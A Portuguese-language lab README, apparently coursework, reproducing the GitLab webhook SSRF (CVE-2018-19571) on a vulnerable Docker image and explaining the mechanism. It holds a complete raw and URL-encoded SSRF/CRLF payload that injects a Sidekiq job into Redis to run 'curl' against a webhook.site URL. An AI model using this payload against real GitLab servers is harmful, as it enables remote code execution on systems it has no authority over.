
Demonstração do CVE-2018-19571: GitLab SSRF CVE
Este repositório é uma reprodução do CVE-2018-19571, e de como, quando combinado com uma exploração de injeção CRLF, pode levar à execução remota de código (RCE).
O GitLab CE/EE, versões 8.18 até 11.x anteriores a 11.3.11, 11.4 anteriores a 11.4.8 e 11.5 anteriores a 11.5.1, são vulneráveis a uma vulnerabilidade SSRF em webhooks.
Para esta reprodução, utilizaremos uma imagem vulnerável do GitLab e a executaremos usando Docker Compose.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
O objetivo é fornecer uma URL de webhook que, quando processada, resulte no envio de um payload para o Redis.
Esse payload, que será enfileirado, conterá um Job do Sidekiq que, ao ser executado, executará código de shell arbitrário. No nosso caso, ele copiará o valor da flag para nós.
Primeiro, vamos percorrer os passos, antes de explicar o que cada um deles faz.
Crie uma conta ou faça login usando a conta root.
A senha root deve ser password, conforme especificado no arquivo initial_root_password, mas às vezes isso não é carregado corretamente.
Nesses casos, você precisará modificar a senha da conta root diretamente.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Dentro do shell
gitlab-rails console
# Dentro do console
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
Em seguida, vá para http://localhost:5080 e faça login.

Navegue até a página de criação de projeto.
Depois, vá para http://localhost:5080/projects/new e clique na aba Import project. Você deve ver que existe uma opção: Repo by URL. Vamos usá-la para realizar nosso ataque SSRF.

Crie um webhook para receber a flag.
Crie uma URL de webhook em https://webhook.site/.
Substitua a URL do webhook no seguinte payload:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
Em seguida, codificamos o acima usando um URL Encoder. Note que vamos codificar apenas o payload (que inclui os espaços em branco no início e as quebras de linha), e não a primeira e a última linha. Você também precisará usar CRLF. Por fim, substitua os seguintes caracteres, se houver, pelas suas respectivas codificações:
_: %5F.: %2E-: %2DSe o acima estiver falhando para você, talvez seja necessário ativar as Requisições de Saída para serviços internos.

Você pode fazer isso em http://localhost:5080/admin/application_settings/network após fazer login como root.
Estamos explorando duas vulnerabilidades neste ataque. A primeira vulnerabilidade é SSRF, onde serviços internos podem ser alcançados via IPv6. Você pode ver mais informações no issue do GitLab aqui: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
A segunda vulnerabilidade é como as quebras de linha eram permitidas na URL dos webhooks.
Essas duas combinadas nos permitem passar um payload para o serviço interno. Neste caso, estamos mirando o serviço Redis local.
O payload que passamos enfileira um novo job na fila do Redis, e esse job é processado pelo Sidekiq, um executor de jobs assíncronos que funciona com Ruby on Rails. Estamos mirando especificamente a classe de job GitlabShellWorker, que nos permite executar código arbitrário.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
Assim, ao passar open('| curl <URL AQUI>').read e executá-lo com class_eval, podemos acionar a execução remota de código.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(Ou você pode simplesmente usar esse payload acima e conferir https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ para ver a saída).

Você deve ver que uma requisição GET foi feita ao webhook (e ela se repetirá conforme o GitLab tenta buscar o repositório repetidamente).
